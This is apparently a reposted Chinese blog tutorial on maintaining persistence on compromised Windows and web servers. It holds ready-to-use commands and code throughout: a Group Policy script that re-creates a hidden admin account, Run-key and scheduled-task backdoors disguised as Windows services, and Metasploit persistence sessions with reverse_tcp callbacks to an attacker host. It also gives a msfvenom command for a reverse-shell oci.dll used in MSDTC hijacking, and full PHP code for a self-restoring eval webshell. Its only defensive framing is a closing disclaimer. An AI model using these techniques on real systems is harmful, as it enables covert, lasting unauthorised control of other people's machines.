一、文件層面
1)attrib
使用 Attrib +s +a +h +r 命令
s:設(shè)置系統(tǒng)屬性(System) a:設(shè)置存檔屬性(Archive) h:設(shè)置隱藏屬性(Hidden)
r:設(shè)置只讀屬性(Read-only)
| attrib +s +a +h +r c:\test |
命令執(zhí)行后,我們并看不到 test 目錄,但是他是存在的,也是可以進入的
想要看到,就把對應(yīng)的屬性刪掉
test 文件夾顯示出來了
2)系統(tǒng)圖標隱藏
可以把文件夾的名稱重命名為 我的電腦.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
圖標變成了我的電腦,雙擊也是可以到達我的電腦,不能進入查看我們文件夾的內(nèi)容
但是命令行里可以看到文件夾,也能進入并查看文件夾里的內(nèi)容
常用的文件夾名稱
| 我的電腦.{20D04FE0-3AEA-1069-A2D8-08002B30309D} |
| 回收站.{645ff040-5081-101b-9f08-00aa002f954e} |
| 拔號網(wǎng)絡(luò).{992CFFA0-F557-101A-88EC-00DD010CCC48} |
| 打印機.{2227a280-3aea-1069-a2de-08002b30309d} |
| 控制面板.{21ec2020-3aea-1069-a2dd-08002b30309d} |
| 網(wǎng)上鄰居.{208D2C60-3AEA-1069-A2D7-08002B30309D} |
3)畸形名稱
創(chuàng)建文件名稱為 test...\
顯示名稱是 test...
這個文件可以看到,但是不能訪問內(nèi)部文件,也不能刪除。
| md test...\ |
| copy 1111.txt test...\ |
在交互界面刪除,顯示找不到項目 無法刪除
打開里面文件 也會報錯 不讓查看
要想刪除只能執(zhí)行
4)驅(qū)動級文件隱藏
驅(qū)動隱藏最典型的現(xiàn)象就是系統(tǒng)盤中存在以下文件:
| c:\WINDOWS\xlkfs.dat |
| c:\WINDOWS\xlkfs.dll |
| c:\WINDOWS\xlkfs.ini |
| c:\WINDOWS\system32\drivers\xlkfs.sys |
驅(qū)動隱藏我們可以用 EasyFileLocker 實現(xiàn)
下載鏈接: https://pan.baidu.com/s/1h2_k1picYeinpz3XtI8ypA?pwd = 141d
提取碼: 141d
可以選擇屬性,實現(xiàn)文件的隱藏
要想刪除
1、查詢服務(wù)狀態(tài): sc qc xlkfs
2、停止服務(wù): net stop xlkfs 服務(wù)停止以后,經(jīng)驅(qū)動級隱藏的文件即可顯現(xiàn)
3、刪除服務(wù): sc delete xlkfs
4、刪除系統(tǒng)目錄下面的文件,重啟系統(tǒng),確認服務(wù)已經(jīng)被清理了。
二、組策略
組策略后門更加隱蔽,在 gpedit.msc 中,可以在計算機完成對應(yīng)操作時自動執(zhí)行。比如關(guān)機操作
| echo off |
| net user lingx5$ 1234 /add |
| net localgroup administrators lingx5$ /add |
| exit |
把這段復(fù)制到 user.bat中
這個腳本就是在操作系統(tǒng)中添加一個 lingx5 $: 1234 的用戶,并把lingx5
這個用戶添加到administrators
用戶組,以$
符號結(jié)尾的用戶就是我們常說的影子用戶(隱藏用戶),對于一般的用戶來說,很難發(fā)現(xiàn)這個用戶名,即使他發(fā)現(xiàn)并刪除了用戶,在下一次關(guān)機時,我們注入的組策略還會執(zhí)行,會再次創(chuàng)建這個用戶。
win+r打開輸入gpedit.msc-->定位到"計算機配置一>Windows設(shè)置一>腳本(啟動/關(guān)機)"
在關(guān)機屬性中添加
重啟計算機
添加成功了,并且 net user命令是無法查看的
組策略不只能添加用戶進行維權(quán),攻擊者還可以把一些惡意的腳本或程序通過組策略來運行,也可以嗅探管理員的密碼等。
三、注冊表
1) 手動添加
注冊表也是攻擊者常用的維權(quán)手段,因為注冊表的信息是龐大的,所以在注冊表里的信息會更加隱蔽,并且難以排查。
reg add
:是用于添加或修改注冊表項的命令。
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
:指定了要操作的注冊表路徑,這個路徑是用于存儲當(dāng)前用戶的自啟動程序信息的位置。
/v loaclUser
:設(shè)置要添加的注冊表項的名稱為 “l(fā)oaclUser”。(可以自定義)
/t REG_SZ
:指定注冊表項的數(shù)據(jù)類型為字符串類型(REG_SZ)。
/d "C:\Users\tmp\NET.exe"
:設(shè)置注冊表項的值為 “C:\Users\tmp\NET.exe”,即指定自啟動程序的路徑為這個可執(zhí)行文件。(這里制定我們的木馬,后門程序)
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" |
| /v loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe" |
|
|
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" |
| /v loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe" |
|
|
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" |
| /v loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe" |
|
|
| reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" |
| /v loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe" |
另外兩個注冊表位置,這些位置可以允許攻擊者通過執(zhí)行任意有效負載或DLL來實現(xiàn)持久性。這些將在登 錄期間執(zhí)行,并且需要管理員級別的特權(quán)。
| reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v |
| loaclUser /t REG_SZ /d "C:\tmp\NET.exe" |
|
|
| reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Dep |
| end" /v loaclUser /t REG_SZ /d "C:\tmp\NET.dll" |
2)meterpreter持久化
a) persistence模塊
當(dāng)然在meterpreter中也有自動化添加的模塊,當(dāng)機器上線我們的msf時,可以使用persistence這個模塊
| meterpreter > background |
| [*] Backgrounding session 1... |
| msf6 exploit(multi/handler) > use exploit/windows/local/persistence |
| [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp |
| msf6 exploit(windows/local/persistence) > set payload windows/x64/meterpreter/reverse_tcp |
| payload => windows/x64/meterpreter/reverse_tcp |
| msf6 exploit(windows/local/persistence) > set session 1 |
| session => 1 |
| msf6 exploit(windows/local/persistence) > set lhost 192.168.84.128 |
| lhost => 192.168.84.128 |
| msf6 exploit(windows/local/persistence) > set lport 4444 |
| lport => 4444 |
| msf6 exploit(windows/local/persistence) > set startup USER |
| startup => USER |
| msf6 exploit(windows/local/persistence) > run |
|
|
| [*] Running persistent module against DESKTOP-906JKQ3 via session ID: 1 |
| [+] Persistent VBS script written on DESKTOP-906JKQ3 to C:\Users\lingx5\AppData\Local\Temp\UNlzRVY.vbs |
| [*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svwTznRkXi |
| [+] Installed autorun on DESKTOP-906JKQ3 as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svwTznRkXi |
| [*] Clean up Meterpreter RC file: /home/kali/.msf4/logs/persistence/DESKTOP-906JKQ3_20240827.3418/DESKTOP-906JKQ3_20240827.3418.rc |
| msf6 exploit(windows/local/persistence) > |
在meterpreter里用background命令,使用windows/local/persistence
模塊指定session的id和設(shè)置參數(shù),在tmp目錄下生成vbs腳本,并自動添加注冊表任務(wù)
只需要在kali里監(jiān)聽,等待目標登陸就可以連接
這種有一種弊端,就是程序不是我們自己做完免殺的,很容易被殺毒軟件殺掉,導(dǎo)致木馬沒辦法上線
b) persistence_exe 模塊
| meterpreter > background |
| [*] Backgrounding session 1... |
| msf6 exploit(multi/handler) > use post/windows/manage/persistence_exe |
| msf6 post(windows/manage/persistence_exe) > set session 1 |
| session => 1 |
| msf6 post(windows/manage/persistence_exe) > set rexepath /opt/win_exp/win_exp.exe |
| rexepath => /opt/win_exp/win_exp.exe |
| msf6 post(windows/manage/persistence_exe) > set rexename shell.exe |
| rexename => shell.exe |
| msf6 post(windows/manage/persistence_exe) > run |
|
|
| [*] Running module against DESKTOP-906JKQ3 |
| [*] Reading Payload from file /opt/win_exp/win_exp.exe |
| [+] Persistent Script written to C:\Users\lingx5\AppData\Local\Temp\shell.exe |
| [*] Executing script C:\Users\lingx5\AppData\Local\Temp\shell.exe |
| [+] Agent executed with PID 2076 |
| [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dJggfAUjDAS |
| [+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dJggfAUjDAS |
| [*] Cleanup Meterpreter RC File: /home/kali/.msf4/logs/persistence/DESKTOP-906JKQ3_20240827.0058/DESKTOP-906JKQ3_20240827.0058.rc |
| [*] Post module execution completed |
| msf6 post(windows/manage/persistence_exe) > |
rexepath指定把本地的做好免殺的/opt/win_exp/win_exp.exe
rexename指定上傳的文件名稱(一般都是系統(tǒng)的服務(wù)名稱,比較難被察覺的),默認的文件目錄是%TEMP%目錄
缺點就是不能指定上傳文件的路徑,不能夠很好的隱藏。
還是推薦用upload上傳上去,手動添加注冊表等進行維權(quán)
c) WMI 持久化
| msf6 exploit(windows/local/wmi_persistence) > show options |
| Module options (exploit/windows/local/wmi_persistence): |
| Name Current Setting Required Description |
| |
| CALLBACK_INTERVAL 1800000 yes Time between callbacks (In milliseconds). (Default: 1800000). |
| CLASSNAME UPDATER yes WMI event class name. (Default: UPDATER) |
| EVENT_ID_TRIGGER 4624 yes Event ID to trigger the payload. (Default: 4625) |
| PERSISTENCE_METHOD EVENT yes Method to trigger the payload. (Accepted: EVENT, INTERVAL, LOGON, PROCESS, WAIT |
| FOR) |
| PROCESS_TRIGGER CALC.EXE yes The process name to trigger the payload. (Default: CALC.EXE) |
| SESSION 1 yes The session to run this module on |
| USERNAME_TRIGGER BOB yes The username to trigger the payload. (Default: BOB) |
| WAITFOR_TRIGGER CALL yes The word to trigger the payload. (Default: CALL) |
| Payload options (windows/meterpreter/reverse_tcp): |
|
|
| Name Current Setting Required Description |
| |
| EXITFUNC process yes Exit technique (Accepted: '',seh,thread,process, none) |
| LHOST 192.168.84.128 yes The listen address (an interface may bespecified) |
| LPORT 4444 yes The listen port |
| **DisablePayloadHandler: True (no handler will be created!)** |
參數(shù)介紹:
CALLBACK_INTERVAL
: 指定回調(diào)的間隔時間,單位是毫秒。默認為 1800000 毫秒(30 分鐘),表示每 30 分鐘觸發(fā)一次持久化的 Payload。
CLASSNAME
: WMI 事件類的名稱。這個名稱在目標系統(tǒng)中用于標識該持久化任務(wù)。默認為 UPDATER
,你可以更改為其他不引人注意的名稱。
EVENT_ID_TRIGGER
: 指定哪個事件 ID 觸發(fā) Payload。默認是 4625
,這是 Windows 日志中常見的登錄失敗事件。你可以根據(jù)需求修改為其他事件 ID(如成功登錄的事件 ID 4624
)來更靈活地觸發(fā) Payload。
PERSISTENCE_METHOD
: 選擇持久化的觸發(fā)方法。以下是幾種可用的觸發(fā)方法:
EVENT
: 基于事件 ID 觸發(fā)(如登錄失敗事件)。
INTERVAL
: 定期觸發(fā)(基于 CALLBACK_INTERVAL
)。
LOGON
: 當(dāng)用戶登錄時觸發(fā)。
PROCESS
: 當(dāng)指定的進程啟動時觸發(fā)(如 calc.exe
)。
WAITFOR
: 當(dāng)系統(tǒng)等待某個特定的關(guān)鍵詞時觸發(fā)。
PROCESS_TRIGGER
: 只有在 PERSISTENCE_METHOD
設(shè)置為 PROCESS
時有效,指定要監(jiān)控的進程名稱。當(dāng)這個進程啟動時,Payload 會被觸發(fā)。默認是 CALC.EXE
,你可以更改為你希望監(jiān)控的其他合法進程。
SESSION
: 你要在其上運行該模塊的目標會話(session ID)。這個參數(shù)必須設(shè)置。
USERNAME_TRIGGER
: 只有在 PERSISTENCE_METHOD
設(shè)置為 LOGON
時有效,指定哪個用戶名登錄時觸發(fā) Payload。默認是 BOB
,你可以更改為目標系統(tǒng)中的實際用戶名。
WAITFOR_TRIGGER
: 只有在 PERSISTENCE_METHOD
設(shè)置為 WAITFOR
時有效,指定觸發(fā) Payload 的關(guān)鍵詞。默認是 CALL
。
Payload 選項 (windows/x64/meterpreter/reverse_tcp
)
EXITFUNC
: 指定退出的方式:
process
: 默認選項,退出時結(jié)束當(dāng)前進程。
seh
: 使用結(jié)構(gòu)化異常處理 (SEH) 機制退出。
thread
: 退出時只結(jié)束當(dāng)前線程。
none
: 不采取任何退出動作。
LHOST
: 你的攻擊機的監(jiān)聽地址(IP)。這是目標系統(tǒng)回連的地址,通常是你的本地 IP 或 VPS IP。
LPORT
: 你的攻擊機的監(jiān)聽端口。目標系統(tǒng)回連時會連接到這個端口。
DisablePayloadHandler
: 如果設(shè)置為 True
,Metasploit 不會自動啟動 Payload 的監(jiān)聽(Handler)。這通常用于在已經(jīng)運行其他監(jiān)聽器時避免沖突。
示例
| use windows/local/wmi_persistence |
| set session 1 |
| set persistence_method EVENT |
| set event_id_trigger 4624 |
| set payload windows/x64/meterpreter/reverse_tcp |
| set lhost 192.168.84.128 |
| set lport 4444 |
| run |
不過需要注意的是:我們要用此模塊,我們得獲得目標系統(tǒng)的admin權(quán)限
d) 添加用戶
post/windows/manage/add_user
創(chuàng)建一個具有管理員權(quán)限的隱藏用戶,以便以后重新訪問。
| use post/linux/manage/add_user |
| set session 1 |
| set USER test |
| set PASS 1234 |
| run |
我這里是普通用戶的權(quán)限,所以沒有添加成功
也得需要獲得的權(quán)限有添加用戶的權(quán)限,才能成功添加。
e) 創(chuàng)建服務(wù)
persistence_service
這個模塊可以創(chuàng)建新的服務(wù),來達到權(quán)限維持的目的
| use exploit/windows/local/persistence_service |
|
|
| set SESSION 1 |
| set PAYLOAD windows/x64/meterpreter/reverse_tcp |
| set LHOST 192.168.84.128 |
| set LPORT 4444 |
| set REMOTE_EXE_NAME systemupdate.exe |
| set SERVICE_NAME WindowsUpdateService |
| set SERVICE_DISPLAY_NAME "Windows Update Service" |
| set SERVICE_DESCRIPTION "Provides updates for the Windows operating system." |
| set STARTUP auto |
|
|
| run |
需要管理員權(quán)限
四、計劃任務(wù)
Windows操作系統(tǒng)提供了一個實用程序(schtasks.exe),使系統(tǒng)管理員能夠在特定的日期和時間執(zhí) 行程序或腳本。
這種行為可作為一種持久性機制被攻擊者利用。通過計劃任務(wù)執(zhí)行持久性不需要管理 員權(quán)限,但如果已獲得提
升的權(quán)限,則允許進一步操作,例如在用戶登錄期間或在空閑狀態(tài)期間執(zhí)行任務(wù)。
SCHTASKS
是 Windows 中的一個內(nèi)置命令行工具,可以用于創(chuàng)建、刪除和管理計劃任務(wù)。
| schtasks /create /tn "Windows Update Service" /tr "C:\Windows\System32\shell.exe" /sc onlogon /ru "SYSTEM" |
參數(shù)解釋:
/create
: 創(chuàng)建一個新的任務(wù)。
/tn "Windows Update Service"
: 任務(wù)名稱(這里偽裝成“Windows Update Service”)。
/tr "C:\Windows\System32\backdoor.exe"
: 任務(wù)要執(zhí)行的程序路徑。
/sc onlogon
: 任務(wù)的觸發(fā)器,這里設(shè)置為在用戶登錄時觸發(fā)(你還可以設(shè)置其他觸發(fā)條件,如系統(tǒng)啟動 /sc onstart
)。
/ru "SYSTEM"
: 以 SYSTEM 權(quán)限運行該任務(wù)(這通常用于確保高權(quán)限執(zhí)行)。
常見觸發(fā)條件:
/sc minute
: 每隔幾分鐘執(zhí)行一次。
/sc daily
: 每天執(zhí)行。
/sc onstart
: 在系統(tǒng)啟動時執(zhí)行。
/sc onlogon
: 在用戶登錄時執(zhí)行。
驗證:
| schtasks /query /tn "Windows Update Service" |
五、創(chuàng)建服務(wù)
如果未正確配置Windows環(huán)境中的服務(wù)或這些服務(wù)可以用作持久性方法,則這些服務(wù)可能導(dǎo)致權(quán)限提 升。創(chuàng)建一個新的服務(wù)需要管理員級別的特權(quán),它已經(jīng)不是隱蔽的持久性技術(shù)。然而,在紅隊的行動 中,針對那些在威脅檢測方面還不成熟的公司,可以用來制造進一步的干擾,企業(yè)應(yīng)建立SOC能力,以識別在其惡意軟件中使用基本技術(shù)的威脅。
| sc create ServiceName binPath= "C:\Path\To\Your\Backdoor.exe" start= auto |
PowerShell創(chuàng)建新服務(wù)
| New-Service -Name "SystemUpdate" -BinaryPathName "C:\temp\shell.exe" -Description "systemupdate" -StartupType Automatic |
|
|
| sc start pentestlab |
六、內(nèi)存?
內(nèi)存馬是無文件攻擊的一種形式。無文件攻擊可以有效地躲避傳統(tǒng)安全軟件的檢測,它們可以在系統(tǒng)的內(nèi)存中遠程加載執(zhí)行、駐留在注冊表中或濫用常用的白名單工具,例如PowerShell,WMl 和PsExec等。無文件攻擊技術(shù)允許攻擊者訪問系統(tǒng),從而啟用后續(xù)的惡意活動。通過操縱漏洞利用程序、合法工具、宏和腳本,攻擊者可以破壞系統(tǒng)、提升特權(quán)或在網(wǎng)絡(luò)上橫向傳播惡意代碼。而且,無文件威脅在執(zhí)行后不會留下任何痕跡,這使其難以被檢測和清除。
內(nèi)存馬不會有文件落地,很難被流量監(jiān)測系統(tǒng)檢測到,所以很難發(fā)現(xiàn)和排查
原理
內(nèi)存注入:
掛鉤(Hooking)關(guān)鍵組件:
分類
1.servlet-api型 :通過命令執(zhí)行等方式動態(tài)注冊一個新的listener、filter或者servlet,從而實現(xiàn)命令執(zhí)行等功能。特定框架、容器的內(nèi)存馬原理與此類似,如spring的controller內(nèi)存馬,tomcat的valve內(nèi)存馬
2.字節(jié)碼增強型: 通過java的instrumentation動態(tài)修改已有代碼,進而實現(xiàn)命令執(zhí)行等功能。
常見的就是java的內(nèi)存馬了,這與java請求處理的過程有關(guān):
| 客戶端發(fā)起一個http請求,比如get類型。 |
| Servlet容器接收到請求,根據(jù)請求信息,封裝成HttpServletRequest和HttpServletResponse對象。 |
| Servlet容器調(diào)用HttpServlet的init()方法,init方法只在第一次請求的時候被調(diào)用。 |
| Servlet容器調(diào)用service()方法。 |
| service()方法根據(jù)請求類型,這里是get類型,分別調(diào)用doGet或者doPost方法,這里調(diào)用doGet方法。 |
| doGet方法中是我們自己寫的業(yè)務(wù)邏輯。 |
| 業(yè)務(wù)邏輯處理完成之后,返回給Servlet容器,然后容器將結(jié)果返回給客戶端。 |
| 容器關(guān)閉時候,會調(diào)用destory方法 |
我們在doGet方法中,我們寫入惡意的代碼,他就會被servlet容器加載到系統(tǒng)內(nèi)存中,從而達到內(nèi)存馬注入的目的
實現(xiàn)
以tomcat的servletAPI型內(nèi)存?為例講一下內(nèi)存?的實現(xiàn)。
創(chuàng)建一個惡意的servlet,然后獲取當(dāng)前的StandardContext,然后將惡意servlet封裝成wrapper添加到
StandardContext的children當(dāng)中,最后添加ServletMapping將訪問的URL和wrapper進行綁定。
0x00劫持后門
但是內(nèi)存馬仍有缺點:一但容器或者服務(wù)關(guān)閉重啟,就會調(diào)用destory()方法,殺死內(nèi)存馬,并由jvm的垃圾回收機制回收
七、劫持后門
MSDTC簡介
msdtc.exe是微軟分布式傳輸協(xié)調(diào)程序。該進程調(diào)用系統(tǒng)Microsoft Personal Web Server和Microsoft SQL
Server。該服務(wù)用于管理多個服務(wù)器。
msdtc.exe是一個并列事務(wù),是分布于兩個以上的數(shù)據(jù)庫,消息隊列,文件系統(tǒng)或其他事務(wù)保護資源管理器,刪除
要小心。
對應(yīng)服務(wù)MSDTC,全稱Distributed Transaction Coordinator,Windows系統(tǒng)默認啟動該服務(wù)
對應(yīng)進程msdtc.exe,位于%windir%system32
原理
當(dāng)Windows操作系統(tǒng)啟動Microsoft分布式事務(wù)處理協(xié)調(diào)器(MSDTC)服務(wù)時,攻擊便開始了,該服務(wù)可協(xié)調(diào)跨越多個資源管理器(例如數(shù)據(jù)庫,消息隊列和文件系統(tǒng))的事務(wù)。當(dāng)目標計算機加入域時,一旦MSDTC服務(wù)啟動,它將搜索注冊表。當(dāng)計算機加入域中,MSDTC服務(wù)啟動時,會搜索注冊表
| HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftMSDTC\MTxOCI |
MSDTC服務(wù)中的MTxOCI組件搜索三個DLL:oci.dll,SQLLib80.dll和xa80.dll。Windows系統(tǒng)默認不包含oci.dll,我們自己寫一個惡意的oci.dll,并將其放置在%SystemRoot%\ system32 \
中。oci.dll就緒,使用遠程作業(yè)命令殺死MSDTC服務(wù)(taskkill / im msdtc.exe / f),從而導(dǎo)致MSDTC重新加載自身。但是,這一次它將查找并找到oci.dll。這時候就會利于這個服務(wù)把我們的后門dll拉起來。
實現(xiàn)
成dll木?文件
| msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.84.128 LPORT=4444 -f dll >oci.dll |
將剛才生成的 oci.dll 上傳到目標機器的 C:\Windows\System32 目錄下
| upload oci.dll C:\Windows |
| shell |
| C:\Windows>move oci.dll c:\Windows\System32 |
oci.dll放入system32 重啟msdtc服務(wù)
| taskkill /f /im msdtc.exe |
重啟msdtc
八、不死馬
原理
持久駐留:ignore_user_abort(true)
和set_time_limit(0)
允許腳本在后臺持續(xù)運行,即使用戶關(guān)閉瀏覽器,腳本仍會繼續(xù)執(zhí)行。
文件恢復(fù):腳本會定期檢查WebShell文件是否存在,如果被刪除,會重新生成。
隱藏位置:攻擊者通常會將WebShell隱藏在不易被注意到的目錄或文件中,以避免被管理員發(fā)現(xiàn)。
簡單理解,就是有點像內(nèi)存馬遞歸調(diào)用,實現(xiàn)功能不再是遠程連接攻擊機,而是寫了一個寫木馬文件的操做。在排查人員通過日志排查到木馬文件時,會刪除木馬文件。這時排查人員以為機器安全了,但是,過了一段時間,不死馬再次被內(nèi)存調(diào)用,生成木馬文件。已達到權(quán)限維持的目的
PHP不死馬示例
| <?php |
| |
| $shell_code = '<?php @eval($_POST["cmd"]); ?>'; |
|
|
| |
| $file_path = __DIR__ . '/backdoor.php'; |
|
|
| |
| if (!file_exists($file_path)) { |
| file_put_contents($file_path, $shell_code); |
| } |
|
|
| |
| ignore_user_abort(true); |
| set_time_limit(0); |
|
|
| while (true) { |
| |
| if (!file_exists($file_path)) { |
| file_put_contents($file_path, $shell_code); |
| } |
| sleep(600); |
| } |
本人所有文章均為技術(shù)分享,均用于防御為目的的記錄,所有操作均在實驗環(huán)境下進行,請勿用于其他用途,否則后果自負。
轉(zhuǎn)自https://www.cnblogs.com/LINGX5/p/18383342
該文章在 2024/11/25 10:09:36 編輯過